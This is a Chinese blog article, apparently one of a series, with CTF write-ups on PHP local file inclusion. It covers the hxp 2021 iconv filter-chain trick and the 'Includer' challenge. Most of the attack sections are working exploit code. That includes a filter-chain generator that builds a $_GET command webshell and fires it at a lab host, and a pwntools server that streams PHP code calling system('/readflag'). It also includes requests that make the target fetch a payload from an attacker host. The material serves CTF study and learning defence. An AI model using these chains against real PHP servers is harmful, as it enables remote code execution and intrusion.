前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解](2)—— 作者:LJS

2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解](2)—— 作者:LJS

作者头像
肾透侧视攻城狮
发布2024-10-21 20:41:06
670
发布2024-10-21 20:41:06
举报

9.3 hxp CTF - The End Of LFI?

9.3.1 TL;DR

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。

第一部分介绍利用背景以及原理,第二部分简单介绍 Fuzz 编码规则的原理,第三部分介绍相关的 CTF 题目。 这里先贴一下作者的 exp 地址,以示尊重:Solving "includer's revenge" from hxp ctf 2021 without controlling any files

9.3.2 Back To LFI

原本以为上次通过 POST 过大的 Body 正文让 Nginx 产生 Tmp 进而配合多重链接绕过 PHP 包含限制完成 RCE 已经是非常绝妙的了,但是利用点可能也相对局限,毕竟只验证了 Nginx ,可能换到其他服务器就不行了。

但是,众所周知,LFI 是本地文件包含漏洞,突出一个文件,但是在 PHP 当中就比较的特殊了,我们可以通过 PHP Filter 来对文件进行一些简单的操作,例如比如 p 牛在 2016 年玩的令人印象深刻的利用的使用 Filter 技巧绕过死亡 exit 的操作:谈一谈php://filter的妙用 (完了,都 2024 年了,我还在学 P 牛 2016 年的老东西)。

我们可以简单回顾一下。

PHP Base64 filter

绕过死亡 exit 的文章(为了行文方便,下文以“ p 文”代称这篇文章)里面,我们可以知道,对于 PHP Base64 Filter 来说,会忽略掉非正常编码的字符,比如 p 文中就利用 PHP Filter Base64 可以去掉一些特殊字符:

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

回到 PHP Base64 ,那什么是合法字符呢?

合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的吗?

简单做个验证:

代码语言:javascript
复制
<?php
$a = "\x1bY\xffQ\xfa";              //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

我们可以看到,PHP 在处理 Base64 字符串的时候完全忽略了非法字符,并且成功解码了。

好,让我们开始试一试吧!尝试 RCE 一句话 include 吧?!

TTT0r8.jpg
TTT0r8.jpg

Iconv LFI

接下来,我们这里再回顾一下 LFI ,由于 PHP Filter 的存在,我们可以利用一些操作简单处理一下对文件的编码格式等,举一个简单的例子,如果我们有一个文件内容为 <?php phpinfo(); 的 Base64 编码内容,当我们尝试 include 的时候就可以执行成功了:

代码语言:javascript
复制
include "php://filter/convert.base64-decode/resource=./e";

// the content of e: PD9waHAgcGhwaW5mbygpOw==
// base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)

所以,众所周知,include 函数实际包含的是 Base64 解码后的 PHP 代码。

那我们有没有办法通过编码形式,构造产生自己想要的内容呢?这里就提到了我们今天要介绍的技巧。

PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。

举个简单的例子:

代码语言:javascript
复制
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

使用以上例子,我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集。那么这个有什么用呢?

结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定文件内容来产生 webshell 呢?

结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符。

所以我们先假设我们的文件内容为 14 个 a 字符,我们可以通过暴力遍历 iconv 支持的字符编码形式,看我们得到的结果,例如:

代码语言:javascript
复制
$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa";     //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|

我们可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。

代码语言:javascript
复制
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
// 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

Craft Base64 Payload

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成 `PAaaaaa` ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。

所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。

我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 `convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2` 来生成

代码语言:javascript
复制
$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|

// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。

RCE

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如

代码语言:javascript
复制
<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg==这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。

根据以上规则,再将其反推回去即可,可以验证一下我们得到的结果:

代码语言:javascript
复制
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";

// echo $final_payload;
var_dump(file_get_contents($final_payload));
echo file_get_contents('http://192.168.174.130:8088/index.php?action=include&file='.urlencode($final_payload).'&0=id');
// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

这里需要注意的地方是:

convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。

data://,后的数据是为了方便展示,需要补足一定的位数,当然如果使用 include 就不能用了,毕竟需要 RFI ,如果 RFI 选型能用,既然都是 RFI 了还整啥 LFI 呢2333

当然通过以上案例,我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用 /etc/passwd:

1.png
1.png

完成 RCE

9.4 Includer

Difficulty estimate: mediumSolved:9/321Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 pointsDescription:Just sitting here and waiting for PHP 8.0 (lolphp).Download:includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

Difficulty estimate: mediumSolved:9/321Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 pointsDescription:Just sitting here and waiting for PHP 8.0 (lolphp).Download:includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

Difficulty estimate: mediumSolved:9/321Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 pointsDescription:Just sitting here and waiting for PHP 8.0 (lolphp).Download:includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

  • Difficulty estimate: medium
  • Solved:9/321
  • Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 points
  • Description:
  • Just sitting here and waiting for PHP 8.0 (lolphp).
  • Download:
  • includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

题目给出源代码以及部署文件,源代码如下:

代码语言:javascript
复制
<?php
declare(strict_types=1);

// 生成一个随机的目录名称,并创建该目录
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir'); // 如果创建目录失败,则输出错误信息并终止脚本

// 设置环境变量 TMPDIR 为刚创建的目录路径
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv'); // 如果设置环境变量失败,则输出错误信息并终止脚本

// 输出欢迎信息,包含用户提交的名字和随机目录路径
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    // 读取用户提交的文件内容,若文件内容中不包含 '<?',则包含该文件
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    // 删除随机创建的目录及其所有内容
    system('rm -rf '.escapeshellarg($rand_dir));
}

Configuration Error

其中配置文件有一个比较明显的配置错误:

代码语言:javascript
复制
location /.well-known {
  autoindex on;
  alias /var/www/html/well-known/;
}

开启了列目录并且我们可以遍历到上层文件夹。

Upload Arbitrary Data

一开始我看到这个没有`<?`的形式,我想到的是p牛博客里面有关死亡 exit 的内容,奈何原文用的是`file_put_content`,我们这里用的是`file_get_contents`,并且这里的判断也在使用了`file_get_contents`函数之后进行判断是否有`<?`,所以这里的编码绕过就不太可能了。

而且这里最奇怪的就是之前用了一些看似无关紧要的代码,比如使用了`putenv()`函数等,给了我们一个 sandbox ,然而我们似乎无法利用表面的代码进行文件上传啥的操作。

balsn 队伍在公开的 wp 中写了比较详细的源码分析,这里我就配合其中的 wp 进行一下简单的分析。

首先直接给出结论,我们可以使用`compress.zip://`流进行上传任意文件,接着我们来看看相关原理。

php-src以找到该流的相关触发解析函数`php_stream_gzopen`;ext/zlib/zlib_fopen_wrapper.c

代码语言:javascript
复制
php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
                              zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
    ...
    // 检查路径是否以 "compress.zlib://" 开头
    // 如果是,将路径指针移动到 "compress.zlib://" 之后的位置
    if (strncasecmp("compress.zlib://", path, 16) == 0) {
        path += 16;
    }
    // 检查路径是否以 "zlib:" 开头
    // 如果是,将路径指针移动到 "zlib:" 之后的位置
    else if (strncasecmp("zlib:", path, 5) == 0) {
        path += 5;
    }

    // 打开指定的路径,使用给定的模式、选项和上下文
    // 这里使用的选项包括 STREAM_MUST_SEEK(流必须支持定位)和其他传入的选项
    innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
    ...
    return NULL; // 返回 NULL,表明函数没有返回有效的 php_stream 对象
}

我们可以看到有个标志位STREAM_WILL_CAST我们可以先看看这个标志位用来干嘛,在main/php_streams.h定义了该标志位:

代码语言:javascript
复制
/* If you are going to end up casting the stream into a FILE* or
 * a socket, pass this flag and the streams/wrappers will not use
 * buffering mechanisms while reading the headers, so that HTTP
 * wrapped streams will work consistently.
 * If you omit this flag, streams will use buffering and should end
 * up working more optimally.
 * */
#define STREAM_WILL_CAST                0x00000020

很明显,这是一个用来将 stream 转换成 FILE* 的标志位,在这里就与我们创建临时文件有关了。

接着我们跟进php_stream_open_wrapper_ex函数,该函数在main/php_streams.h中被 define 为_php_stream_open_wrapper_ex

代码语言:javascript
复制
PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
        zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
    // 省略部分代码,用于打开文件流

    // 如果流不为空且选项中指定了必须可寻址
    if (stream != NULL && (options & STREAM_MUST_SEEK)) {
        php_stream *newstream;

        // 尝试将流转换为可寻址的
        switch(php_stream_make_seekable_rel(stream, &newstream,
                    (options & STREAM_WILL_CAST)
                        ? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
        {
            case SUCCESS:
                // 如果转换成功,更新流
                stream = newstream;
                break;
            case FAILURE:
                // 如果转换失败,执行错误处理逻辑
                // 错误处理代码省略...
                break;
        }
    }

    // 省略处理流的代码

    // 返回最终的流
    return stream;
}

该函数调用了php_stream_make_seekable_rel,并向其中传入了STREAM_WILL_CAST参数,

我们跟进php_stream_make_seekable_rel函数,它在main/php_streams.h中被 define 为_php_stream_make_seekable,继续跟进main/streams/cast.c

代码语言:javascript
复制
/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
    // 如果 newstream 为 NULL,返回失败
    if (newstream == NULL) {
        return PHP_STREAM_FAILED;
    }
    *newstream = NULL;  // 初始化 newstream 为 NULL

    // 如果没有强制转换的标志,且原始流已经支持寻址操作
    if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
        *newstream = origstream;  // 将 newstream 设置为原始流
        return PHP_STREAM_UNCHANGED;  // 返回流未发生变化
    }

    // 如果需要创建一个新的临时流
    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();  // 创建临时文件流
    } else {
        *newstream = php_stream_temp_new();  // 创建新的临时流
    }

    // 省略将原始流内容复制到新流的逻辑

    // 返回成功
    return PHP_STREAM_SUCCESS;
}
/* }}} */

我们可以看到如果flagsPHP_STREAM_PREFER_STDIO都被设置的话,而PHP_STREAM_PREFER_STDIO在 main/php_streams.h 中已经被 define

代码语言:javascript
复制
#define PHP_STREAM_PREFER_STDIO     1

我们只需要关心 flags 的值就好了,我们只需要确定 flags 的值非零即可,根据前面的跟进我们易知 flags 的在这里非零,所以这里就调用了php_stream_fopen_tmpfile函数创建了临时文件。

于是我们可以做一个简单的验证,在本机上跑源代码,并用 pwntools 起一个服务用来发送一个大文件

代码语言:javascript
复制
from pwn import *
import requests
import re
import threading
import time

# 定义一个函数,用于发送分块数据
def send_chunk(l, data):
    l.send('''{}\r
{}\r
'''.format(hex(len(data))[2:], data))

while(True):
    # 监听 9999 端口并等待连接
    l = listen(9999)
    l.wait_for_connection()

    # 定义三个数据块,每个块填充到 8KB 大小
    data1 = ''.ljust(1024 * 8, 'X')  # 用 'X' 填充到 8KB
    data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')  # 代码块,执行命令,填充到 8KB
    data3 = 'c*/'.rjust(1024 * 8, 'c')  # 结束代码块,填充到 8KB

    # 接收 HTTP 请求头
    l.recvuntil('\r\n\r\n')
    
    # 发送 HTTP 响应头,指定分块传输编码
    l.send('''HTTP/1.1 200 OK\r
Content-Type: exploit/revxakep\r
Connection: close\r
Transfer-Encoding: chunked\r
\r
''')

    # 发送第一个数据块
    send_chunk(l, data1)

    print('waiting...')
    print('sending php code...')

    # 发送包含 PHP 代码的第二个数据块
    send_chunk(l, data2)

    # 暂停 3 秒
    sleep(3)

    # 发送包含结束 PHP 代码的第三个数据块
    send_chunk(l, data3)

    # 发送结束标志,表示所有数据块已发送完毕
    l.send('''0\r
\r
\r
''')
    
    # 关闭连接
    l.close()

这样我在本机上用 fswatch 很明显可以看到临时文件已经生成,并且文件内容就是我们发送的内容。

img
img

Keep Temp File

临时文件终究还是会被 php 删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留存在服务器上,这样我们才有机会去包含它。

所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:

使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。

使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制 FTP 速度即可

Bypass Waf

接下来我们就要看如何来对关键地方进行绕过了。

代码语言:javascript
复制
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }

这个地方问了很多师傅,包括一血的 TokyoWesterns 的队员以及参考了主要的公开 WP,基本都是 利用两个函数之间极端的时间窗进行绕过。

什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过stripos的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使include_once包含我们的代码了。

因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。

Leak Dir path

最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。

虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的 sandbox 路径。

所以我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:

代码语言:javascript
复制
# 构造数据部分
data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
# 发送 POST 请求
r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}'''.format(len(data), data))

Get Flag——所以整个流程我们可以总结为以下:

利用 compress.zlib://http://orcompress.zlib://ftp:// 来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

利用超长的 name 溢出 output buffer 得到 sandbox 路径

利用 Nginx 配置错误,通过 .well-known../files/sandbox/来获取我们 tmp 文件的文件名

发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点(来自 @wupco):

需要利用大文件或ftp速度限制让连接保持

传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag。

img
img

脚本放在gist-exp.py,其中 192.168.34.1 是本地题目地址,192.168.151.132 是 client 的地址。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 9.3 hxp CTF - The End Of LFI?
  • 9.3.1 TL;DR
    • 9.3.2 Back To LFI
      • PHP Base64 filter
        • Iconv LFI
          • Craft Base64 Payload
            • RCE
            • 9.4 Includer
              • Configuration Error
                • Upload Arbitrary Data
                  • Keep Temp File
                    • Bypass Waf
                      • Leak Dir path
                        • Get Flag——所以整个流程我们可以总结为以下:
                          • 整个题目的关键点主要是以下几点(来自 @wupco):
                          相关产品与服务
                          云服务器
                          云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档